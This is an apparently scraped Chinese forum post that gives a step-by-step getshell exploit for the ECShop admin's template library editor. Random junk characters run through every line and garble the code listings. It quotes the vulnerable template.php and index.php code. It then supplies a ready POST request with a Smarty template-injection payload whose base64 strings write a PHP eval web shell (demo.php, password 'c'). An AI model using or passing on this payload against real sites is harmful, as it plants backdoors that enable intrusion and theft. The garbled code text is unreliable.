首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
& z! V" j! A: U3 C" R3 T8 u+ p
5 b3 B# F! A7 J% T而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了6 i7 U& q" W0 ]1 ^" x5 W
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
$ L1 Z* P2 D8 g) madmin/template.php
9 f7 s; a* V2 C6 F& E. U
$ G& p9 F, @( J: u7 E# R) R1 if ($_REQUEST['act'] == 'update_library') M2 |9 W8 C4 f9 ~9 g, I
6 s) R8 y- r d# G1 @, P+ Z
2 6 J" s2 @# T, w$ u& J
/ u, A" P7 `1 ~3 {
( N( I4 V8 J6 J, H4 e1 f1 G3 {
0 M4 }( j! C. a" s0 P4 check_authz_json('library_manage');
" P5 z v( S: W" e2 K2 A3 @5 K1 G7 p
9 J% w* l1 L6 Z" m3 n: w' M5 2 l; J' I7 {* y5 ]+ S6 |- q
8 P2 L# |5 {- K. H0 c, E. `6 $html = stripslashes(json_str_iconv($_POST['html'])); % Z& o& L5 L# Y# g8 D# {
" D: ?% W8 d4 \4 k, o/ a7 . c4 e V7 ~0 z0 C: V9 W
% G2 c; Y" W- I/ ]4 F, a) E! D
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
* ^! W- O" ]: y2 [+ c4 y1 h: z3 Z( ~/ d2 i$ ]
9
. t) U( t4 V' q/ B/ v p
4 D+ O1 S" P9 k# M( G4 S& O3 _10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 6 y ]1 l. R- h$ a6 a7 B
4 j* H9 T2 r& O& d( d11
7 k/ ?4 k0 ?5 G8 V9 e$ s) b: P: s
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); , K/ L7 M2 ^6 o: a
0 E5 X, ]( T) O0 h) t
13
1 `# Y% }5 |6 F c
% A V+ r' n1 [6 Z14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 8 S1 w! l. y ~: V$ u0 t( p$ H
6 ^) b! T3 J+ e; X15 { ( e0 c* @$ [$ ], Z& n0 Q2 d) w
0 ^. V* V1 C* _$ H+ Q- d% G; a
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
* F! I R/ R. d. o* r2 X! Y/ z! X! O& ?
17 make_json_result('', $_LANG['update_lib_success']); 4 [! B9 _( m# M
. u4 O0 e$ i6 f. y- {1 T" S18 } $ G) [% g+ h6 w$ |% N5 {( c; \
' p/ n# Z/ _" @7 R19 else ! U; F, \3 z8 x3 r7 q' o8 I
3 ?6 e. K- ~6 W" [, N2 O" m. u
20 {
, r8 B: ~& x6 ^; f
" X- r. r% m" O( ~& ?/ E% k( C21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
- b8 O! }+ l- c( N2 Q2 ?9 C4 A3 f6 h2 \8 V7 F |1 H3 J
22 }
( y5 C0 [: j- J
) m5 M3 I1 X' G+ F2 @. @23 }
9 K/ P/ A# n; N- }) `# c6 H; g: I* `* U
那么找个比较方便调用了模板的文件3 v- I! g$ O0 q9 r) g
index.php- U+ e, ^8 }& ^3 e$ g1 y
! m- q5 k% Y4 L( \; ~% D1 if ($act == 'cat_rec') 1 B; R! p% b( B# J5 s# k
) W$ X! ~" C; q4 a0 T
2
% C8 Z& D4 E1 J/ b- n: v$ u& B2 b6 m, w/ a, V. b4 A% b3 h
3 { S; w# [! Z* F; P! E: Y9 i- W
; h! @# h4 d$ `4
7 Y& d" `1 L5 `' J' q% v" _- N8 M# Y9 B6 ~$ Y. i: }4 x% X
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 i: x# o1 c$ g4 o1 G/ B8 D2 {: [
6 9 Y1 V x7 |7 @
7 d" B7 h" M* C6 M4 e
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
F$ u) j8 e/ ^: j5 C# f+ ?! M4 ?# e1 w. O( }( v8 `& S5 Q+ s5 N: b
8 ( h L) j0 n+ Z; ?
! y0 D: [# y# O% w+ \9 g6 o& E9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; % d! q8 ]# ]/ S* g$ N
: V6 e0 ~* P2 G7 e& T5 x Q10
5 `0 j3 h% \3 q+ w
' c9 t1 Q: i6 U4 ]8 K11 include_once('includes/cls_json.php');
, R5 X1 T3 d) e: _0 s3 r% X) [1 M e2 [7 d2 |5 A! S
12 ) m: b9 X/ [7 v3 U& ^" t
D6 h d! G0 m! u6 `13 $json = new JSON;
! P5 Z0 R* t0 c( a7 @ d- z+ L% F0 r- h5 n
14
! {! j2 F5 g& H# r# P6 S6 A( a$ o- {8 S) m9 i* D [
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
4 ?" I" g0 i. b. B/ ?# P1 ~8 e% t) k5 d/ W6 i1 m
16
+ i4 A# Z7 @. {( J7 P$ @. l
+ z8 e" B7 R9 E% w: }/ ?4 q3 W17 $children = get_children($cat_id);
# E* A0 g x$ G# _9 W- u
3 l6 k( W5 }+ [5 F- h% ?18
/ B# J" B/ T7 }9 ?3 c8 S# b. ?* F8 U/ Q& x# m
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 " p9 e5 P8 l! }9 H; b+ y
& [/ | ^, ]' n: k/ M
20 - L0 [# A5 l5 z7 a% L% f
/ D- v+ F0 i% r5 y; V21 $smarty->assign('cat_rec_sign', 1);
7 `; c& [# {4 N) U0 d
1 Y, W3 r5 T5 v) M22
! f. M7 x9 V, E o2 j- d! G. L* v; x: D' Q5 h- s' I" q5 V
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best . A* R) z- `# N; l" G% f$ @
: }9 \/ X1 f& v; F& s6 a24
& f! c2 Z* C7 y* @2 b" K0 ]5 D9 j( o) ~: X" r$ j8 S/ @6 w9 n
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; . \! } b) E4 a: ?% b4 U
0 {0 V/ ? J8 d4 s9 N26
( a& T7 R, q5 V$ v/ m i
" G; e3 s6 U$ G2 |7 X3 w- s! B5 E* a27 echo $rec_array[$rec_type];
1 [4 q: f6 l! K7 \- n2 t
! a6 j' O% ^, b' C( H: P28 " q+ F' V3 w7 _! O
) b: g# e4 D& ]! {' I+ Y29 die($json->encode($result));
- z/ m2 e3 U4 Z$ q1 O; B) ~/ |, U6 m8 k
30 : X" w& L; n, ~' t" X
+ N* r% n+ Z5 E( ~1 [( J( v
31 } ! {& R2 s: h7 k% h
) U4 ]3 c( \* g4 j那么就有利用方法了# y4 X: p9 ^& ^( P
post包到http://localhost/ec/admin/template.php?act=update_library8 h7 M& S0 [5 @) h' f
Post内容:
( r0 T7 I( n8 [9 A9 e" Z. n' c/ X6 ^0 Y8 D
5 K! X s$ X$ g3 e! T6 L3 W. N
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
! P3 d6 |7 @# \ g* C6 @ ~* X4 c6 Q
+ S- |# Q. d, _7 U5 l/ y. I然后访问http://localhost/ec/index.php?act=cat_rec
0 p F1 [: m8 u% c* Z7 q
8 O0 u. f) N+ d, gshel地址:http://localhost/ec/demo.php- d/ d+ z: S- |
密码c
8 D6 P: D- @5 m% |. F* M" g
% V: J! g4 k# o, y' v$ r" ~6 l" ~$ O7 n |